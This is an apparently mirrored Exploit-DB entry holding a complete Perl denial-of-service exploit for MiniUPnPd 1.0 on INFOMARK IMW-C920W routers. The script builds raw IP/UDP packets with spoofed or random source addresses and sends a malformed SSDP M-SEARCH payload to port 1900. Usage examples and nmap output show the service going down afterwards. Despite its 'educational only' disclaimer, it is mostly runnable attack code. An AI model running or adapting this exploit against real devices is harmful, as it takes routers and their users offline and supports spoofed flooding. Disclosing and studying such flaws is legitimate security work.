INFOMARK IMW-C920W MiniUPnPd 1.0 – Denial of Service

Exploit Database
128 阅读

作者： Todor Donev

日期： 2015-07-07
类别：
- dos
平台：
- hardware
来源：https://www.exploit-db.com/exploits/37517/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

#!/usr/bin/perl

#miniupnpd/1.0 remote denial of service exploit

#todor.donev@gmail.com

#http://www.ethical-hacker.org/

#https://www.facebook.com/ethicalhackerorg

#The SSDP protocol can discover Plug & Play devices,

#with uPnP (Universal Plug and Play). SSDP is HTTP

#like protocol and work with NOTIFY and M-SEARCH

#methods.

#See also:

#CVE-2013-0229

#http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0229

#CVE-2013-0230

#http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0230

#Tested on

#Device Name :IMW-C920W

#Device Manufacturer :INFOMARK (http://infomark.co.kr)

#These devices are commonly used by Max Telecom, Bulgaria

#Disclaimer:

#This or previous program is for Educational

#purpose ONLY. Do not use it without permission.

#The usual disclaimer applies, especially the

#fact that Todor Donev is not liable for any

#damages caused by direct or indirect use of the

#information or functionality provided by these

#programs. The author or any Internet provider

#bears NO responsibility for content or misuse

#of these programs or any derivatives thereof.

#By using these programs you accept the fact

#that any damage (dataloss, system crash,

#system compromise, etc.) caused by the use

#of these programs is not Todor Donev's

#responsibility.

#Use at your own risk!

#See also:

#SSDP Reflection DDoS Attacks

#http://tinyurl.com/mqwj6xt

#######################################

# # perl miniupnpd.pl

# [miniupnpd/1.0 remote denial of service exploit ]

# [ =============================================== ]

# [Usage:

# [ ./miniupnpd.pl <victim address> <spoofed address>

# [Example:

# [ perl miniupnpd.pl 192.168.1.1 133.73.13.37

# [Example:

# [ perl miniupnpd.pl 192.168.1.1

# [ =============================================== ]

# [ 2015<todor.donev@gmail.com> Todor Donev2015 ]

# # nmap -sU 192.168.1.1 -p1900 --script=upnp-info

# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST

# Nmap scan report for 192.168.1.1

# Host is up (0.00078s latency).

# PORT STATE SERVICE

# 1900/udp openupnp

# | upnp-info:

# | 192.168.1.1

# | Server: 1.0 UPnP/1.0 miniupnpd/1.0

# | Location: http://192.168.1.1:5000/rootDesc.xml

# | Webserver: 1.0 UPnP/1.0 miniupnpd/1.0

# | Name: INFOMARK Router

# | Manufacturer: INFOMARK

# | Model Descr: INFOMARK Router

# | Model Name: INFOMARK Router

# | Model Version: 1

# | Name: WANDevice

# | Manufacturer: MiniUPnP

# | Model Descr: WAN Device

# | Model Name: WAN Device

# | Model Version: 20070228

# | Name: WANConnectionDevice

# | Manufacturer: MiniUPnP

# | Model Descr: MiniUPnP daemon

# | Model Name: MiniUPnPd

# |_Model Version: 20070228

# MAC Address: 00:00:00:00:00:00 (Infomark Co.) // CENSORED

# Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

# # perl miniupnpd.pl 192.168.1.1

# [miniupnpd/1.0 remote denial of service exploit ]

# [ =============================================== ]

# [ Target: 192.168.1.1

# [ Send malformed SSDP packet..

# # nmap -sU 192.168.1.1 -p1900

# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST

# Nmap scan report for 192.168.1.1

# Host is up (0.00085s latency).

# PORT STATESERVICE

# 1900/udp closed upnp// GOOD NIGHT, SWEET PRINCE.... :D

# MAC Address: 00:00:00:00:00:00 (Infomark Co.) // CENSORED

# Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds

# Special thanks to HD Moore ..

use Socket;

if ( $< != 0 ) {

print "Sorry, must be run as root!\n";

print "This script use RAW Socket.\n";

exit;

}

my $ip_src = (gethostbyname($ARGV[1]))[4];

my $ip_dst = (gethostbyname($ARGV[0]))[4];

print "\n[miniupnpd/1.0 remote denial of service exploit ]\n";

print "[ =============================================== ]\n";

select(undef, undef, undef, 0.40);

if (!defined $ip_dst) {

print "[Usage:\n[ ./$0 <victim address> <spoofed address>\n";

select(undef, undef, undef, 0.55);

print "[Example:\n[ perl $0 192.168.1.1 133.73.13.37\n";

print "[Example:\n[ perl $0 192.168.1.1\n";

print "[ =============================================== ]\n";

print "[ 2015<todor.donev\@gmail.com> Todor Donev2015 ]\n\n";

exit;

}

socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;

setsockopt(RAW, 0, 1, 1) or die $!;

main();

# Main program

sub main {

my $packet;

$packet = iphdr();

$packet .= udphdr();

$packet .= payload();

# b000000m...

send_packet($packet);

}

# IP header (Layer 3)

sub iphdr {

my $ip_ver = 4; # IP Version 4(4 bits)

my $iphdr_len = 5; # IP Header Length(4 bits)

my $ip_tos = 0; # Differentiated Services (8 bits)

my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits)

my $ip_frag_id = 0; # Identification Field(16 bits)

my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits)

my $ip_frag_offset = 0000000000000; # IP Fragment Offset(13 bits)

my $ip_ttl = 255; # IP TTL(8 bits)

my $ip_proto = 17; # IP Protocol (8 bits)

my $ip_checksum = 0; # IP Checksum (16 bits)

my $ip_src=gethostbyname(&randip) if !$ip_src; # IP Source (32 bits)

# IP Packet construction

my $iphdr = pack(

'H2 H2 n n B16 h2 c n a4 a4',

$ip_ver . $iphdr_len, $ip_tos, $ip_total_len,

$ip_frag_id, $ip_frag_flag . $ip_frag_offset,

$ip_ttl, $ip_proto, $ip_checksum,

$ip_src, $ip_dst

);

return $iphdr;

}

# UDP header (Layer 4)

sub udphdr {

my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535)

my $udp_dst_port = 1900; # UDP Dest Port (16 btis) (0-65535)

my $udp_len = 8 + length(payload()); # UDP Length(16 bits) (0-65535)

my $udp_checksum = 0; # UDP Checksum(16 bits) (XOR of header)

# UDP Packet

my $udphdr= pack(

'n n n n',

$udp_src_port, $udp_dst_port,

$udp_len, $udp_checksum

);

return $udphdr;

}

# Create SSDP Bomb

sub payload {

my $data;

my $head;

$data = "M-SEARCH * HTTP\/1.1\\r\\n";

for (0..1260) { $data .= chr( int(rand(25) + 65) ); }

my $payload = pack('a' . length($data), $data);

return $payload;

}

# Generate random source ip address

sub randip () {

srand(time() ^ ($$ + ($$ << 15)));

my $ipdata;

$ipdata = join ('.', (int(rand(255)), int(rand(255)), int(rand(255)), int(rand(255)))), "\n";

my $ipsrc = pack('A' . length($ipdata), rand($ipdata));

return $ipdata;

}

# Send the malformed packet

sub send_packet {

print "[ Target: $ARGV[0]\n";

select(undef, undef, undef, 0.30);

print "[ Send malformed SSDP packet..\n\n";

send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ip_dst)) or die $!;

}